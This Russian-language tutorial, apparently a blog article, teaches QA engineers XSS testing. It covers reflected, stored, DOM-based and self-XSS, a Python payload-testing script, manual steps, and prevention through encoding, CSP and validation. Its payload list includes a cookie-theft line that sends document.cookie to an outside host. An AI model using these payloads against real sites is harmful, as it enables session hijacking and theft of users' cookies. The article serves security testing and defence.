Уязвимости межсайтового скриптинга (XSS): стратегии и примеры тестирования

Согласно статистике, которую я видел, и моему опыту, XSS-уязвимости продолжают оставаться распространенной угрозой для веб-приложений, создавая риски кражи данных, перехвата сеансов и проблем с веб-сайтами. Я решил, что могу потратить больше времени на изучение этого типа уязвимости и поделиться с вами хотя бы этими обзорными базовыми знаниями, чтобы многие эксперты по обеспечению качества и разработки могли иметь в виду некоторые способы тестирования своих приложений на предмет этой проблемы. В этой статье рассматриваются различные типы XSS, методологии тестирования и подходы к автоматизации, а также приводятся некоторые примеры и полезные нагрузки для эффективного тестирования на проникновение.

Межсайтовый скриптинг (XSS) позволяет злоумышленникам внедрять вредоносные скрипты в веб-страницы, просматриваемые другими пользователями, используя уязвимости в выполнении кода на стороне клиента. Понимание различных типов XSS-уязвимостей и использование правильных стратегий тестирования имеют решающее значение для создания безопасных веб-приложений, защищенных от таких атак.

XSS-эксплойты возникают, когда ненадежный пользовательский ввод неадекватно очищается и выполняется в веб-приложении, что позволяет злоумышленникам внедрять и выполнять вредоносные сценарии в контексте браузеров других пользователей.

Типы XSS-уязвимостей

Отраженный XSS

Происходит, когда предоставленные пользователем данные возвращаются в ответ без надлежащей проверки.

Пример: <script>alert('XSS_DEMO')</script> внедренный через параметр URL.

Эти эксплойты возникают, когда веб-приложение отображает непроверенный пользовательский ввод в браузер пользователя без надлежащей очистки. В ходе этой атаки злоумышленник создает вредоносный URL-адрес, содержащий код сценария, который при нажатии жертвой выполняется в контексте уязвимой веб-страницы. Вредоносный скрипт не хранится на сервере, а отражается непосредственно из ввода пользователя. Отраженные XSS-уязвимости часто используются в фишинговых атаках или для манипулирования пользовательским опытом просмотра. Последствия могут быть серьезными: от кражи файлов cookie до перехвата сеанса.

Сохраненный XSS

Вредоносный скрипт постоянно хранится на сервере и выполняется при доступе к нему других пользователей.

Пример: Вредоносный скрипт, хранящийся в комментарии/публикации на форуме или на странице профиля в социальной сети.

Также известный как постоянный XSS, возникает, когда злоумышленник внедряет вредоносный код сценария в веб-приложение, которое затем сохраняется на стороне сервера. Этот внедренный сценарий позже извлекается и выполняется всякий раз, когда к уязвимой странице обращаются другие пользователи. Хранимые XSS-атаки особенно опасны, поскольку внедренный скрипт сохраняется с течением времени, потенциально затрагивая нескольких пользователей и приводя к широкому распространению атак. Злоумышленники обычно нацелены на пользовательский контент, такой как комментарии, сообщения на форумах, имена объектов, которые отображаются на веб-страницах или в полях профиля, чтобы выполнить свои вредоносные полезные нагрузки. Последствия сохраненного XSS могут включать кражу данных, захват учетных записей и порчу веб-сайта, что создает значительные риски как для пользователей, так и для пострадавшей организации.

XSS на основе DOM

Выполнение сценария зависит от манипуляций с DOM на стороне клиента.

Пример: код JS извлекает и выполняет данные, управляемые пользователем, из хеша URL-адреса.

Это происходит, когда веб-приложение динамически манипулирует DOM на основе ненадежного пользовательского ввода небезопасным образом. В отличие от традиционных XSS-атак, которые включают обработку на стороне сервера, XSS на основе DOM полностью проявляется на стороне клиента. Злоумышленники используют XSS на основе DOM, манипулируя клиентскими сценариями для выполнения произвольного кода в браузере жертвы. Этот тип XSS зачастую сложнее обнаружить и устранить, поскольку уязвимость находится в коде на стороне клиента и может быть не очевидна во время тестирования на стороне сервера. XSS-атаки на основе DOM могут привести к различным последствиям, включая перехват сеанса, кражу данных и несанкционированные действия от имени пользователя, что подчеркивает важность мер безопасности на стороне клиента и бдительной практики разработки веб-приложений.

Самостоятельный XSS

Это атака социальной инженерии, при которой злоумышленник обманом заставляет пользователя выполнить вредоносный код в своем браузере. В отличие от традиционных XSS-атак, нацеленных на нескольких пользователей, Self-XSS использует доверие пользователя для выполнения кода в рамках его сеанса. Как правило, злоумышленники заманивают жертв вставить, казалось бы, невинный JS-код в консоль разработчика своего браузера или некоторые поля веб-сайта под видом безобидного действия, такого как разблокировка функции или получение вознаграждения. После выполнения внедренный код потенциально может скомпрометировать учетную запись жертвы, украсть конфиденциальную информацию или выполнить несанкционированные действия от ее имени. Несмотря на то, что Self-XSS ограничен сеансом жертвы, он остается угрозой, что подчеркивает важность обучения и осведомленности пользователей, чтобы распознавать и избегать таких обманных тактик.

Тестирование

Автоматизация

• Используйте инструменты тестирования безопасности, такие как OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix и т. д., для автоматического сканирования на наличие XSS.
• Настройте инструменты для сканирования приложения, определения входных векторов и внедрения полезных данных для обнаружения XSS-уязвимостей.
• Анализируйте результаты сканирования на наличие выявленных уязвимостей, воспроизводите их вручную, создавайте PoC, оценивайте потенциальное влияние и расставляйте приоритеты в устранении проблем.

Вы можете написать несколько сценариев; Я предпочитаю Python, например:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

Ручное тестирование

• Определите векторы ввода, подверженные внедрению XSS (например, поля ввода, параметры URL). Вы можете использовать сканеры и анализаторы для более эффективной идентификации векторов.
• Создавайте полезные данные для использования уязвимостей XSS (например, теги сценариев, обработчики событий).

Анализируйте ответы, чтобы определить, отражаются или выполняются полезные данные. Создайте PoC, поймите потенциальное влияние и расставьте приоритеты в устранении проблем.

Шаги:

1. Введите тег сценария, а затем код JS в поля ввода вашего приложения.

   Например, базовые полезные данные XSS:

    <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.

2. Отправьте ввод и посмотрите, выполнится ли скрипт.

3. Если это так, то приложение уязвимо для XSS-атак.

4. Если скрипт не выполняется, попробуйте изменить ввод, добавив другие теги HTML, такие как <img> или <iframe> , и посмотрите, отражаются ли они, например , на странице (этот вариант у меня почти всегда работает):

   <b>t</b>#`"/*—est

5. Вы можете добавить скрипт для запроса параметров URL-адреса вашего веб-приложения или имени пользователя, имен загруженных файлов или любого текста, который будет отображаться на странице приложения, который вы можете изменить.

6. Помните о предварительной проверке входных данных. Всегда старайтесь отправлять значение с помощью прямого запроса (с помощью Postman, Burp или любых подобных инструментов).

7. Проверьте консоль браузера в инструментах разработки, потому что иногда вы можете не увидеть каких-либо видимых изменений на странице, но некоторые символы, например `"/*— могут нарушить JS/HTML страницы, и вы увидите предупреждение в консоли, которое может быть для вас подсказкой о том, как изменить полезную нагрузку, чтобы получить XSS PoC

Используйте фаззинг и список полезной нагрузки — по возможности автоматизируйте этот подход или используйте для этого специальные инструменты.

Лично мне нравится использовать полезные нагрузки и информацию отсюда , на мой взгляд, это очень полезный ресурс.

Тестирование черного ящика

• Выявление входных векторов, уязвимых для внедрения XSS.
• Создание и внедрение полезных данных XSS для оценки воздействия и выявления уязвимых точек.

Тестирование серого ящика

• Анализ исходного кода и процедур очистки на наличие потенциального XSS.
• Использование частичных знаний о приложении для целевого тестирования.

Использование XSS

XSS PoC

• Демонстрирует подтверждение уязвимости XSS путем внедрения полезных данных, выполняющих произвольный JS.
• Использование альтернативных полезных данных, таких как функция print() для браузеров Chrome после версии 92.

Расширенное использование XSS

• Чтобы украсть файлы cookie, выполнить перехват сеанса или выполнить произвольный код.
• Чтобы выдавать себя за пользователей, перехватывать учетные данные или портить веб-страницы.

Обход XSS-фильтров

• Обход распространенных фильтров XSS с помощью различных методов, таких как вставка значений атрибутов тегов, обфускация и загрязнение параметров HTTP (HPP).
• Примеры сценариев демонстрируют обход механизмов фильтрации для успешного выполнения полезных данных XSS.

Методы профилактики

Проверка ввода и кодирование вывода

• Внедрите механизмы проверки ввода (FE и BE), чтобы гарантировать, что предоставленные пользователем данные соответствуют ожидаемым форматам и не содержат вредоносного кода.
• Очистите и проверьте все вводимые пользователем данные на стороне сервера перед их обработкой или сохранением.
• Кодируйте выходные данные соответствующим образом, чтобы браузер не интерпретировал их как активный контент.
• Используйте такие методы кодирования, как кодирование объектов HTML, кодирование URL-адресов и экранирование JS на основе контекста выходных данных.

Политика безопасности контента (CSP)

• Внедрите заголовки политики безопасности контента (CSP), чтобы определить и обеспечить соблюдение политик безопасности в отношении выполнения сценариев, таблиц стилей и других ресурсов в веб-приложении. CSP позволяет администраторам ограничивать источники, из которых можно загружать сценарии, снижая риск XSS-атак за счет предотвращения выполнения неавторизованных сценариев.
• Настройте директивы CSP, чтобы указать доверенные домены, использование встроенных сценариев и стилей, а также одноразовые номера сценариев, что эффективно снижает поверхность атаки для XSS.

Контекстно-зависимое кодирование вывода

Кодируйте данные на основе контекста, в котором отображаются выходные данные. Применяйте различные методы кодирования для HTML, JS, CSS и других контекстов, чтобы обеспечить комплексную защиту от XSS.

Например , используйте кодировку сущностей HTML для содержимого HTML, экранирование JavaScript для встроенных контекстов скриптов и экранирование CSS для атрибутов стиля, чтобы предотвратить внедрение скриптов и обеспечить целостность данных в различных контекстах вывода.

Белый и черный список входных данных

Внедрите белые и черные списки входных данных для фильтрации и проверки вводимых пользователем данных на основе предварительно заданных списков разрешенных и запрещенных символов, шаблонов или типов контента.

• Белый список включает в себя явное определение ожидаемых входных форматов и отклонение любых входных данных, которые не соответствуют этим спецификациям.
• Внесение в черный список выявляет и блокирует известные вредоносные входные данные или шаблоны, хотя оно может быть менее эффективным из-за возможности обхода с помощью методов кодирования или запутывания.

Заголовки безопасности и библиотеки очистки

• Используйте заголовки безопасности, такие как X-XSS-Protection, X-Content-Type-Options и X-Frame-Options, чтобы повысить безопасность веб-приложений и предотвратить различные векторы атак, включая XSS.
• Интегрируйте сторонние библиотеки и платформы очистки в стек разработки, чтобы автоматизировать проверку входных данных, кодирование выходных данных и другие критически важные для безопасности задачи. Регулярно обновляйте и поддерживайте эти библиотеки для эффективного устранения возникающих угроз и уязвимостей.

Практика безопасной разработки и осведомленность о безопасности

• Продвигайте методы безопасной разработки в группах разработчиков и контроля качества, подчеркивая важность написания безопасного кода, проведения тщательных проверок кода и выполнения тестирования безопасности на протяжении всего жизненного цикла разработки программного обеспечения.
• Развивайте культуру осведомленности о безопасности среди разработчиков, инженеров по обеспечению качества и других заинтересованных сторон, поощряя постоянное обучение и обмен знаниями о XSS и других уязвимостях, методах эксплуатации и профилактических мерах.
• Инвестируйте в постоянные программы обучения, курсы, семинары, конференции и ресурсы, чтобы вооружить членов команды навыками и опытом, необходимыми для эффективного выявления, борьбы и предотвращения XSS.

XSS представляет постоянную угрозу для веб-приложений, рискуя утечкой данных и доверием пользователей. Понимание типов XSS и методов тестирования имеет решающее значение для эффективного устранения последствий. Методы предотвращения, такие как проверка входных данных, кодирование выходных данных и реализация CSP, повышают безопасность приложений. Отдавая приоритет методам безопасности и сотрудничеству, команды могут защитить свои приложения от XSS и обеспечить адекватную безопасность веб-приложений.

Если вы новичок и интересуетесь кибербезопасностью и тестированием на проникновение или просто хотите улучшить свое приложение, чтобы сделать его более безопасным, вы можете прочитать мои статьи на эти темы:

• https://hackernoon.com/vulnerability-scanners-essentials
• https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers
• https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-attack-prevention

Более подробную информацию о XSS и полезных нагрузках можно найти на следующих ресурсах:

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

Важное напоминание: